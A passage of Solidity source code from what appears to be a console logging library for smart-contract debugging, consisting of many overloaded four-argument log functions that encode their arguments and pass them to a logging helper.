p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address 